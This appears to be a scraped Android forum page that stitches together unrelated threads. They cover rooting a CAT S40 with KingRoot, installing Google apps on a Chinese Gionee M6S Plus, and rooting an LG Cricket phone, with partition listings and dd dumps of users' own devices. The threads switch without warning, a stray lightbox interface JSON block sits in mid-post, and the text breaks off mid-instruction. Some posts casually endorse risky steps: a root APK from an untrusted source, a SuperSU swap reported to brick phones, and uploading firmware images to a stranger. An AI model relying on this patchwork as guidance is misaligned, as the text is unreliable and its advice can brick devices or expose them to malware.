-rwxr-x--- root root 17862 2014-05-15 16:56 init.rc
-rwxr-x--- root root 1637 2014-05-15 16:56 init.trace.rc
-rwxr-x--- root root 3915 2014-05-15 16:56 init.usb.rc
-rw-r--r-- root root 1664 2014-05-15 16:56 lpm.rc
drwxrwxr-x root system 2014-05-15 16:56 mnt
dr-xr-xr-x root root 1970-01-01 00:00 proc
drwxr-xr-x root root 2014-05-09 13:55 radio
drwxr-x--- root root 2014-05-15 16:56 sbin
lrwxrwxrwx root root 2014-05-15 16:56 sdcard -> /storage/sdcard0
d---r-x--- system sdcard_r 2014-05-15 16:56 storage
drwxr-xr-x root root 2014-05-15 16:56 sys
drwxr-xr-x root root 2014-05-09 13:56 system
-rw-r--r-- root root 272 2014-05-15 16:56 ueventd.goldfish.rc
-rw-r--r-- root root 2035 2014-05-15 16:56 ueventd.p1.rc
-rw-r--r-- root root 5075 2014-05-15 16:56 ueventd.rc
lrwxrwxrwx root root 2014-05-15 16:56 vendor -> /system/vendor
I want to copy some pictures to my KALI system but there is the problem:
dd if=/sdcard/DCIM/Camera of=/dev/sdc bs=1M
/dev/sdc: cannot open for write: Permission denied
Or i want to run adb (no device!)
adb devices
* daemon not running. starting it now on port 5038 *
* daemon started successfully *
List of devices attached
Can someone help or explain me how to do this?
Best regards
Is there already a way to root the CAT S40?
yes
Important Update:
A few months after using this method, I realise that now system updates fail on my phone.
I managed to unroot the phone using supersu, but no luck, updates still fail...
If I manage to bypass this, I will update this post, but so far, no luck...
#######################################################
RAFd3v said:
Is there already a way to root the CAT S40?
Click to expand...
Click to collapse
Got root yesterday, but not sure how safe method is...
Steps performed:
- I first downloaded KingRoot-4.1.0.245.apk from an untrusted source that I can't remember I still have the file though, and could share it if needed, but again, I don't really trust it - I just hope there's no malware.
md5 of the file is 8b411efbf70b8d7f70d12bb4984775e2
- Once succesfully rooted with Kingroot, I Installed "supersu me" from playstore and used it to replace kingroot with supersu
https://play.google.com/store/apps/details?id=darkslide.com.supersumepro&hl=en
This seems to have removed all the chinese bloatware installed by KingRoot... but here again, I can't know for sure...
root access remains after reboot, titanium backup allowed me to remove some apps (like the cat ones) so it seems to work fine.
nandroid backup seemed to backup things correctly, but the recovery.img with a size of 8192 leaves me dubious....
So far I was unable to find any custom recovery for the CAT S40 though... I guess that should be the next step before starting to try to find custom roms... ^^
Any clue about safety of the method I used, custom recovery or custom roms for S40 would be welcome
edit:
When searching manually, I believe I got a better recovery dump;
JuPiTeR ~ # adb shell
[email protected]:/ $ su
[email protected]:/ # ls -al /dev/block/platform/7824900.sdhci/by-name/
lrwxrwxrwx root root 1970-04-29 16:19 DDR -> /dev/block/mmcblk0p15
lrwxrwxrwx root root 1970-04-29 16:19 aboot -> /dev/block/mmcblk0p25
lrwxrwxrwx root root 1970-04-29 16:19 abootbak -> /dev/block/mmcblk0p26
lrwxrwxrwx root root 1970-04-29 16:19 boot -> /dev/block/mmcblk0p28
lrwxrwxrwx root root 1970-04-29 16:19 cache -> /dev/block/mmcblk0p29
lrwxrwxrwx root root 1970-04-29 16:19 config -> /dev/block/mmcblk0p24
lrwxrwxrwx root root 1970-04-29 16:19 devinfo -> /dev/block/mmcblk0p21
lrwxrwxrwx root root 1970-04-29 16:19 fsc -> /dev/block/mmcblk0p12
lrwxrwxrwx root root 1970-04-29 16:19 fsg -> /dev/block/mmcblk0p16
lrwxrwxrwx root root 1970-04-29 16:19 keystore -> /dev/block/mmcblk0p22
lrwxrwxrwx root root 1970-04-29 16:19 misc -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 1970-04-29 16:19 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 1970-04-29 16:19 modemst1 -> /dev/block/mmcblk0p9
lrwxrwxrwx root root 1970-04-29 16:19 modemst2 -> /dev/block/mmcblk0p10
lrwxrwxrwx root root 1970-04-29 16:19 oem -> /dev/block/mmcblk0p23
lrwxrwxrwx root root 1970-04-29 16:19 pad -> /dev/block/mmcblk0p8
lrwxrwxrwx root root 1970-04-29 16:19 persist -> /dev/block/mmcblk0p18
lrwxrwxrwx root root 1970-04-29 16:19 persistbak -> /dev/block/mmcblk0p19
lrwxrwxrwx root root 1970-04-29 16:19 recovery -> /dev/block/mmcblk0p27
lrwxrwxrwx root root 1970-04-29 16:19 rpm -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 1970-04-29 16:19 rpmbak -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 1970-04-29 16:19 rsv -> /dev/block/mmcblk0p20
lrwxrwxrwx root root 1970-04-29 16:19 sbl1 -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 1970-04-29 16:19 sbl1bak -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 1970-04-29 16:19 sec -> /dev/block/mmcblk0p17
lrwxrwxrwx root root 1970-04-29 16:19 splash -> /dev/block/mmcblk0p14
lrwxrwxrwx root root 1970-04-29 16:19 ssd -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 1970-04-29 16:19 system -> /dev/block/mmcblk0p30
lrwxrwxrwx root root 1970-04-29 16:19 tz -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 1970-04-29 16:19 tzbak -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 1970-04-29 16:19 userdata -> /dev/block/mmcblk0p31
dd if=/dev/block/mmcblk0p27 of=/storage/sdcard1/recovery_backup.img
65536+0 records in
65536+0 records out
33554432 bytes transferred in 16.404 secs (2045503 bytes/sec)
I couldn't mount the file, but it seems to open correctly with hexedit:
[email protected]
console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboo
t.hardware=qcom user_debug=31 msm_rtb.filter=0x3F ehci-hcd.park=
3 androidboot.bootdevice=7824900.sdhci lpm_levels.sleep_disabled
=1 earlyprintk..................................................
..... then unreadable
Anyway, I feel more confident with a 32Mb recovery dump than with the previous 6k
I have success root my cat s40 with kingroot but i wanted change root app to SuperSU and phone had software brick :/
Is any method to reset this phone without warrianty? ( i have now on warrianty sent this phone)
Is any program from CAT for recover ROM? e.g. for samsung odin?
And where can download roms for this phone?
No clue about roms or recoveries so far... I got root with the method described, but again, not sure how safe.
How did you brick it? did you do as indicated in post or did you try manually?
someone has problems with the touch?
Wirusx said:
I have success root my cat s40 with kingroot but i wanted change root app to SuperSU and phone had software brick :/
Is any method to reset this phone without warrianty? ( i have now on warrianty sent this phone)
Is any program from CAT for recover ROM? e.g. for samsung odin?
And where can download roms for this phone?
Click to expand...
Click to collapse
Do you think this (brick) also happens when i use:
-NewKingRoot (uptodate)
after that
-SuperSume Pro.
jeroensky said:
Do you think this (brick) also happens when i use:
-NewKingRoot (uptodate)
after that
-SuperSume Pro.
Click to expand...
Click to collapse
i know kingroot working good on this phone but
SuperSU bricked my Cat S40
Now i use galaxy s6 Duos.
i recommended DON'T USE SuperSume App if you want change KingRoot to SuperSU = brick s40.
if you want try you must know
s40 + brick = send for warrianty
Samsung phones + brick = samart switch or odin
Problem isn't program for change to SuperSU but SuperSU.
When i used on my galaxy s6 SuperSU root via TWRP without custom boot.img (lollipop 5.1.1)
I had too brick for using SuperSU on lollipop 5.1.1 must be boot.img MOD but i don't know what. when i used custom kernel with supersu my phone normal boot but zelf rooted = brick this is too in s40.
when you find problem 5.1.1 lollipop + supersu i think you can slove problem with SuperSU on s40.
I don't found this slove to SuperSU i used custom boot.img with my zelfcompiled kernel.
when you find slove to this problem met SuperSU + boot.img write here i want too know what is problem met boot.img in lollipop 5.1.1 met SuperSU
Wirusx said:
i know kingroot working good on this phone but
SuperSU bricked my Cat S40
Now i use galaxy s6 Duos.
i recommended DON'T try change KingRoot if you have SuperSU = brick s40.
if you want try you must know
s40 + brick = send for warrianty
Samsung phones + brick = samart switch or odin
Problem isn't program for change to SuperSU but SuperSU.
When i used on my galaxy s6 SuperSU root via TWRP without custom boot.img (lollipop 5.1.1)
I had too brick for using SuperSU on lollipop 5.1.1 must be boot.img MOD but i don't know what. when i used custom kernel with supersu my phone normal boot but zelf rooted = brick this is too in s40.
when you find problem 5.1.1 lollipop + supersu i think you can slove problem with SuperSU on s40.
I don't found this slove to SuperSU i used custom boot.img with my zelfcompiled kernel.
when you find slove to this problem met SuperSU + boot.img write here i want too know what is problem met boot.img in lollipop 5.1.1 met SuperSU
Click to expand...
Click to collapse
Thanks, then i won't root my Cat S40 for the moment. Because i don't want to keep Kingroot on it all the time.
Oh, and i send Super-sume Pro developer 'MrgatesJunior' a email with request to solve the Super-Sume pro issue on Android 5.1 CAT S40 with link to this postings. Hope he 'll find a solution / update Super Sume pro soon
We can confirm that removing King(o)Root with scripts and replacing it with SuperSU (as would be highly desirable) leads to a bricked S40.
Has anyone perhaps found a way of doing a full backup using a tool similar to SP Flash Tool for MTK devices?
That would help play around without sending the phone in on warranty claim every couple of days...
Cat s40 success SuperSU rooted
Hey i have no idea if there is a new topic for this .....i have a CAT S40 nothing will root it..it's running android 5.1 no app will root this phone and i must have tried most of them
the phone dose not have a fastboot mode and i have not seen any bootloader unlocking tools i see all over internet use this or that but none work....
avrel820 said:
Hey i have no idea if there is a new topic for this .....i have a CAT S40 nothing will root it..it's running android 5.1 no app will root this phone and i must have tried most of them
the phone dose not have a fastboot mode and i have not seen any bootloader unlocking tools i see all over internet use this or that but none work....
Click to expand...
Click to collapse
Cat S40 android 5.1
Same problem.
I tried to do it by adb & fastboot. But I cannot make the option "OEM unlocking" visible in "Developer options". Tried to change dates as recommended in www, but nothing. I have one idea - my s40 from USA. Mb use VPN for router... But I lost few days for finding resolve. I'm tired.
I never will buy production of Caterpillar. This production not for people.
Hey, so I got the new Gionee M6S Plus from China and was having problems trying to use Google Play (downloaded by apk). I also downloaded the Google Play Services apk and ran that (if I didn't, Google Play wouldn't even open). But whenever I try to open Google Play, it only shows the white loading screen and seems to "freeze" on the white screen. Also, I keep getting errors messages about "Google Play Services has stopped" messages and was wondering if that was related.
Thanks
WhyChineseAndroidWhy said:
Hey, so I got the new Gionee M6S Plus from China and was having problems trying to use Google Play (downloaded by apk). I also downloaded the Google Play Services apk and ran that (if I didn't, Google Play wouldn't even open). But whenever I try to open Google Play, it only shows the white loading screen and seems to "freeze" on the white screen. Also, I keep getting errors messages about "Google Play Services has stopped" messages and was wondering if that was related.
Thanks
Click to expand...
Click to collapse
U will need to install cwm and flash gapps according to ur Android version
Sent from my ONE A2005 using Tapatalk
Brandon Indar said:
U will need to install cwm and flash gapps according to ur Android version
when you say android version, does this mean like Android 6.0 or the Amigos 3.5 firmware its running?
Thanks
Click to expand...
Click to collapse
WhyChineseAndroidWhy said:
Brandon Indar said:
U will need to install cwm and flash gapps according to ur Android version
when you say android version, does this mean like Android 6.0 or the Amigos 3.5 firmware its running?
Thanks
Click to expand...
Click to collapse
Android 6.0
Sent from my ONE A2005 using Tapatalk
Click to expand...
Click to collapse
Brandon Indar said:
WhyChineseAndroidWhy said:
Android 6.0
Sent from my ONE A2005 using Tapatalk
Click to expand...
Click to collapse
This made be a dumb question, but what is cwm? and where can I find resources on cwm and flash gapps for Android 6.0? Also does this require root?
Thanks
Click to expand...
Click to collapse
Gionee M6S Plus -Need help in installing google apps
Hi ,
I am also facing the same problem . I also have bought Chinese version gionee m6s plus and want to install gapps. I have also tried installing apks like service framework,account manager,play store but in vain and it crashes every time I open . I want to root this phone only to install gapps. Can any one please post the link or help as how to root this version of phone ?
Thanks
Hi just send me ur recovery and boot.img I can port cwm recovery so u guys can flash gapps.
Sent from my ONE A2005 using Tapatalk
Brandon Indar said:
Hi just send me ur recovery and boot.img I can port cwm recovery so u guys can flash gapps.
Sent from my ONE A2005 using Tapatalk
Click to expand...
Click to collapse
Hi Brandaon thanks for your reply.I am a noob in this and need further help. I used following link https://forum.xda-developers.com/showthread.php?t=2027311 to get recovery image.However I am getting error when I run the command
cat proc/mtd
/system/bin/sh: cat: proc/mtd: No such file or directory
Suhi02 said:
Hi Brandaon thanks for your reply.I am a noob in this and need further help. I used following link https://forum.xda-developers.com/showthread.php?t=2027311 to get recovery image.However I am getting error when I run the command
cat proc/mtd
/system/bin/sh: cat: proc/mtd: No such file or directory
Click to expand...
Click to collapse
U can Google ur device and see if there is a stock frimware and send me a link.
Sent from my ONE A2005 using Tapatalk
Hi I found following link
Its not allowing to post the link URL hence typing in below format
https front slash www dot amigo dot cn front slash mobile.php?id=83&mobile=1
It is 64 gb rom black color phone. With the help of google translator I can see it says Download and brush tutorials. My device is running on marshmallow 6.0.1, Amigo version 3.5.3 ,secure version 1.2.a. Does this help you ?
Thanks
Boot Image for M6S PLUS
Brandon Indar said:
Hi just send me ur recovery and boot.img I can port cwm recovery so u guys can flash gapps.
Sent from my ONE A2005 using Tapatalk
Click to expand...
Click to collapse
HI I have attached boot.img file. However I couldn't get recovery img file yet.
Thanks
Suhi02 said:
HI I have attached boot.img file. However I couldn't get recovery img file yet.
Thanks
Click to expand...
Click to collapse
I will need recovery.img too because i will need to post cwm recovery so u can flash the super su zip and get root.
See if u can get ur device firmware online and send me link
Thanks
Brandon Indar said:
I will need recovery.img too because i will need to post cwm recovery so u can flash the super su zip and get root.
See if u can get ur device firmware online and send me link
Thanks
Click to expand...
Click to collapse
Hi , please find following link. It says 2.3GB as size. Is this what is required ?
https://www.amigo.cn/mobile.php?id=83&mobile=1
Thanks a lot
Brandon Indar said:
I will need recovery.img too because i will need to post cwm recovery so u can flash the super su zip and get root.
See if u can get ur device firmware online and send me link
Thanks
Click to expand...
Click to collapse
Hi just like miracle box which is for mediatek devices ,Do we have any such software for snapdragon devices , so that I can read and extract boot image and recovery image without root ?
Thanks
Please help to get recovery file on PC or access it
Brandon Indar said:
I will need recovery.img too because i will need to post cwm recovery so u can flash the super su zip and get root.
See if u can get ur device firmware online and send me link
Thanks
Click to expand...
Click to collapse
HI I am able to get root access from kingroot. But it says it is temporary and after restart will loose the root. I was able to get image file . However I cannot access those files
127|[email protected]_G1602A:/storage/emulated/0 # ls
lmms
qmt
qqsecure
qt
recovery.img
I have extracted recovery image file this is the recovery.img file using dd if=/dev/block/mmcblk0p22 of=/sdcard/recovery.img. However I cannot copy to my pc and sdcard. It is not visible via explorer too. But the file is there. Can you please help me . I tried adb pull /Sdcard/ but it says adb not found. Please help. Thanks
Which files should I extract for boot and recovery image ?
HI ,
I have following thing. Thanks in advance.I have temporarily got root access till i restart my device via kingroot. If not can you please tell me step by step , so that I can sideload gapps and set permissions using root explorer to google play store and other files ? If I give permissions and restart my device will I be able to boot up properly or get stuck ?Because it has locked bootloader and any changes it finds I think it reverts to original stock rom Thanks in advance
Please let me know which one should I extract from the below list? There are 2 files aboot which is of 10 MB and other boot is 65MB. Recovery file also seems to be of 65MB.
lrwxrwxrwx root root 1970-06-06 11:56 DDR -> /dev/block/mmcblk0p15
lrwxrwxrwx root root 1970-06-06 11:56 aboot -> /dev/block/mmcblk0p19
lrwxrwxrwx root root 1970-06-06 11:56 abootbak -> /dev/block/mmcblk0p20
lrwxrwxrwx root root 1970-06-06 11:56 apdp -> /dev/block/mmcblk0p43
lrwxrwxrwx root root 1970-06-06 11:56 boot -> /dev/block/mmcblk0p21
lrwxrwxrwx root root 1970-06-06 11:56 cache -> /dev/block/mmcblk0p25
lrwxrwxrwx root root 1970-06-06 11:56 cmnlib -> /dev/block/mmcblk0p37
lrwxrwxrwx root root 1970-06-06 11:56 cmnlib64 -> /dev/block/mmcblk0p39
lrwxrwxrwx root root 1970-06-06 11:56 cmnlib64bak -> /dev/block/mmcblk0p40
lrwxrwxrwx root root 1970-06-06 11:56 cmnlibbak -> /dev/block/mmcblk0p38
lrwxrwxrwx root root 1970-06-06 11:56 config -> /dev/block/mmcblk0p29
lrwxrwxrwx root root 1970-06-06 11:56 devcfg -> /dev/block/mmcblk0p10
lrwxrwxrwx root root 1970-06-06 11:56 devcfgbak -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 1970-06-06 11:56 devinfo -> /dev/block/mmcblk0p23
lrwxrwxrwx root root 1970-06-06 11:56 dip -> /dev/block/mmcblk0p33
lrwxrwxrwx root root 1970-06-06 11:56 dpo -> /dev/block/mmcblk0p45
lrwxrwxrwx root root 1970-06-06 11:56 dsp -> /dev/block/mmcblk0p12
lrwxrwxrwx root root 1970-06-06 11:56 fsc -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 1970-06-06 11:56 fsg -> /dev/block/mmcblk0p16
lrwxrwxrwx root root 1970-06-06 11:56 keymaster -> /dev/block/mmcblk0p41
lrwxrwxrwx root root 1970-06-06 11:56 keymasterbak -> /dev/block/mmcblk0p42
lrwxrwxrwx root root 1970-06-06 11:56 keystore -> /dev/block/mmcblk0p28
lrwxrwxrwx root root 1970-06-06 11:56 limits -> /dev/block/mmcblk0p31
lrwxrwxrwx root root 1970-06-06 11:56 mcfg -> /dev/block/mmcblk0p36
lrwxrwxrwx root root 1970-06-06 11:56 mdtp -> /dev/block/mmcblk0p34
lrwxrwxrwx root root 1970-06-06 11:56 misc -> /dev/block/mmcblk0p27
lrwxrwxrwx root root 1970-06-06 11:56 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 1970-06-06 11:56 modemst1 -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 1970-06-06 11:56 modemst2 -> /dev/block/mmcblk0p14
lrwxrwxrwx root root 1970-06-06 11:56 mota -> /dev/block/mmcblk0p32
lrwxrwxrwx root root 1970-06-06 11:56 msadp -> /dev/block/mmcblk0p44
lrwxrwxrwx root root 1970-06-06 11:56 oem -> /dev/block/mmcblk0p30
lrwxrwxrwx root root 1970-06-06 11:56 persist -> /dev/block/mmcblk0p26
lrwxrwxrwx root root 1970-06-06 11:56 recovery -> /dev/block/mmcblk0p22
lrwxrwxrwx root root 1970-06-06 11:56 rpm -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 1970-06-06 11:56 rpmbak -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 1970-06-06 11:56 sbl1 -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 1970-06-06 11:56 sbl1bak -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 1970-06-06 11:56 sec -> /dev/block/mmcblk0p17
lrwxrwxrwx root root 1970-06-06 11:56 splash -> /dev/block/mmcblk0p18
lrwxrwxrwx root root 1970-06-06 11:56 ssd -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 1970-06-06 11:56 syscfg -> /dev/block/mmcblk0p35
lrwxrwxrwx root root 1970-06-06 11:56 system -> /dev/block/mmcblk0p24
lrwxrwxrwx root root 1970-06-06 11:56 tz -> /dev/block/mmcblk0p8
lrwxrwxrwx root root 1970-06-06 11:56 tzbak -> /dev/block/mmcblk0p9
lrwxrwxrwx root root 1970-06-06 11:56 userdata -> /dev/block/mmcblk0p46
Boot and recovery file
Brandon Indar said:
Hi just send me ur recovery and boot.img I can port cwm recovery so u guys can flash gapps.
Sent from my ONE A2005 using Tapatalk
Click to expand...
Click to collapse
Hi ,
After phone got restarted root was lost. My bootloader is still in unlocked state.
Please find recovery image and boot image link. Please help me to install google apps.
Recovery image URL = https://ufile.io/y88gt
Boot image URL = https://ufile.io/sk85f
Kindly do the needful.
Thanks
Hi, It seems my bootloader is unlocked .I tried fastboot oem unlock-go
c:\adb>fastboot oem device-info
...
(bootloader) Device tampered: false
(bootloader) Device unlocked: true
(bootloader) Device critical unlocked: false
(bootloader) Charger screen enabled: false
(bootloader) Display panel:
OKAY [ 0.000s]
finished. total time: 0.000s
I have attached boot image and recovery file image in the previous post
Recovery image URL = https://ufile.io/y88gt
Boot image URL = https://ufile.io/sk85f
Please help me to install google apps. Thanks
I've spent so much time on this forum and learned so much that I thought this is best place to go for my last resort. I really need to root this phone. I want to be able to use some rooted apps and especially be able to get more apps on my SD Card. My phone is unlockable (In fact Cricket said all their current phones are) I have no fastboot, no proper recovery mode and not even a bootloader mode. When I type adb reboot bootloader it only reboots the phone. I've looked into flashing a new boot, but I don't completely understand how to make or how to get all the any of the Qualcomm flash tools required files. I'll need help with that if it comes to it. I can't even flash a different models stock, because all LG stock I can find is ARB00 and right now I'm ARB03 it doesn't matter if it's even a higher version stock like Pie or even a it's LG G7 ThinQ unless it's ARB03 or higher I can't flash it and of course I can't downgrade. Which would save me a lot of headaches because the Nougat version at least still has fastboot and is ARB00. Something I can work with.
I am about to go to Walmart and just buy it again, because their version is still Nougat. That's what I'll do if I find no answer here, but I want to give this phone another chance. I read this phone can be rooted with Magisk, but with no recovery and no fastboot unless there's another option I don't know if that's even an option. Is there any way to dd install Magisk? If so please let me know. I've also been told it needs to be manually rooted, but I don't know where to get started doing that. I know it's get the right su files in the right places, and busybox but how do I do that with no root to start with, and being unable to mount the system? Is there a way?
I'm seriously willing to try anything at this point even if it will brick my phone. I have insurance on it that will replace it no matter how much damage I cause it and like I said am willing to re-buy the phone at Walmart which might be the better option since getting it from Cricket will most likely just take me back to where I started with an 8.1 phone that I can't do anything with. I don't care much about custom roms or that sort of thing. There isn't any for this phone anyway. I just want it rooted! please if you can think of anything, anything at all please let me know!
I have Windows 10 and Ubuntu
Also If these will help
Partitions:
HTML:
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 DDR -> /dev/block/mmcblk0p44
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 aboot -> /dev/block/mmcblk0p2
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 abootbak -> /dev/block/mmcblk0p3
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 apdp -> /dev/block/mmcblk0p41
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 boot -> /dev/block/mmcblk0p46
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 cache -> /dev/block/mmcblk0p58
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 cmnlib -> /dev/block/mmcblk0p12
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 cmnlib64 -> /dev/block/mmcblk0p14
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 cmnlib64bak -> /dev/block/mmcblk0p15
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 cmnlibbak -> /dev/block/mmcblk0p13
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 devcfg -> /dev/block/mmcblk0p10
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 devcfgbak -> /dev/block/mmcblk0p11
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 devinfo -> /dev/block/mmcblk0p21
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 dpo -> /dev/block/mmcblk0p43
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 drm -> /dev/block/mmcblk0p33
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 dsp -> /dev/block/mmcblk0p30
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 eksst -> /dev/block/mmcblk0p40
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 encrypt -> /dev/block/mmcblk0p39
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 factory -> /dev/block/mmcblk0p51
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 fota -> /dev/block/mmcblk0p35
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 fsc -> /dev/block/mmcblk0p26
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 fsg -> /dev/block/mmcblk0p28
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 ftm -> /dev/block/mmcblk0p31
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 grow -> /dev/block/mmcblk0p60
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 keymaster -> /dev/block/mmcblk0p16
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 keymasterbak -> /dev/block/mmcblk0p17
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 keystore -> /dev/block/mmcblk0p37
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 laf -> /dev/block/mmcblk0p47
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 lafbak -> /dev/block/mmcblk0p48
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 mcfg -> /dev/block/mmcblk0p25
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 misc -> /dev/block/mmcblk0p32
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 modemst1 -> /dev/block/mmcblk0p23
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 modemst2 -> /dev/block/mmcblk0p24
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 mpt -> /dev/block/mmcblk0p55
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 msadp -> /dev/block/mmcblk0p42
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 persist -> /dev/block/mmcblk0p54
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 persistent -> /dev/block/mmcblk0p20
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 raw_resources -> /dev/block/mmcblk0p52
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 raw_resourcesbak -> /dev/block/mmcblk0p53
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 rct -> /dev/block/mmcblk0p38
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 recovery -> /dev/block/mmcblk0p49
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 recoverybak -> /dev/block/mmcblk0p50
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 rpm -> /dev/block/mmcblk0p8
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 rpmbak -> /dev/block/mmcblk0p9
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 sbl1 -> /dev/block/mmcblk0p6
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 sbl1bak -> /dev/block/mmcblk0p7
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 sec -> /dev/block/mmcblk0p36
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 sns -> /dev/block/mmcblk0p34
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 spare1 -> /dev/block/mmcblk0p18
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 spare2 -> /dev/block/mmcblk0p19
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 spare3 -> /dev/block/mmcblk0p22
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 spare4 -> /dev/block/mmcblk0p29
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 spare5 -> /dev/block/mmcblk0p45
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 srtc -> /dev/block/mmcblk0p56
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 ssd -> /dev/block/mmcblk0p27
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 system -> /dev/block/mmcblk0p57
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 tz -> /dev/block/mmcblk0p4
lrwxrwxrwx 1 root root 20 2018-01-12 14:32 tzbak -> /dev/block/mmcblk0p5
lrwxrwxrwx 1 root root 21 2018-01-12 14:32 userdata -> /dev/block/mmcblk0p59
Nothing?
Okay from the lack of any reply I'm guessing there isn't a current way to root this device or nothing anybody knows. So I guess I'll get the Nougat version then, and see if I have better luck with it or wait until I save up enough money for another phone that I can unlock and root. If anybody thinks of anything I'm still willing to try, but I'm getting it's about time to give up and just never buy directly from cricket again.
@sjjtnj
Rooting a phone's Android doesn't depend on its Android version but whether it's bootloader can get unlocked or not what basically prevents rooting Android. Take note that not all OEMs/Carriers allow this.
If phone in question is accessable via ADB then to find this out you run this command sequence
Code:
adb devices
adb shell "getprop ro.oem_unlock_supported"
If 1 is returned then phone's bootloader is unlockable otherwise not.
Thanks!
jwoegerbauer said:
@sjjtnj
Rooting a phone's Android doesn't depend on its Android version but whether it's bootloader can get unlocked or not what basically prevents rooting Android. Take note that not all OEMs/Carriers allow this.
If phone in question is accessable via ADB then to find this out you run this command sequence
Code:
adb devices
adb shell "getprop ro.oem_unlock_supported"
If 1 is returned then phone's bootloader is unlockable otherwise not.
Click to expand...
Click to collapse
Thanks this is gave me some hope! I got a 1 so I guess it is unlockable! I can't use fastboot though. If I can figure a way to enable it maybe I can unlock and root it. The Nougat version still has fastboot enabled so that's why I wanted it, but it would be nice to find a way to unlock this one.
@sjjtnj
It's well known that not all OEMs/Carriers support Fastboot as intended by Google. They think that providing Revovery is enough.
FYI: The phone in question has a Recovery partition - as that's default with all Android devices. You enter Recovery mode this way
Code:
adb devices
adb shell "reboot recovery"
Now once you are in recovery, ADB will work instead of Fastboot.
Anyway:
Have you already tried
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
to unlock phone's bootloader - what requires the USB drivers suitable at 100% to the phone are got installed on your Windows computer?
How-To:
1. Download the Android Fastboot Tool v1.2 from here.
2. Once you have downloaded the file, extract the zip file.
3. When you are done with the extraction you open the tool by clicking on Android Fastboot .exe file as Adminstrator.
Note: Never have tried out this.
jwoegerbauer said:
@sjjtnj
It's well known that not all OEMs/Carriers support Fastboot as intended by Google. They think that providing Revovery is enough.
FYI: The phone in question has a Recovery partition - as that's default with all Android devices. You enter Recovery mode this way
Code:
adb devices
adb shell "reboot recovery"
Now once you are in recovery, ADB will work instead of Fastboot.
Anyway:
Have you already tried
to unlock phone's bootloader - what requires the USB drivers suitable at 100% to the phone are got installed on your Windows computer?
How-To:
1. Download the Android Fastboot Tool v1.2 from here.
2. Once you have downloaded the file, extract the zip file.
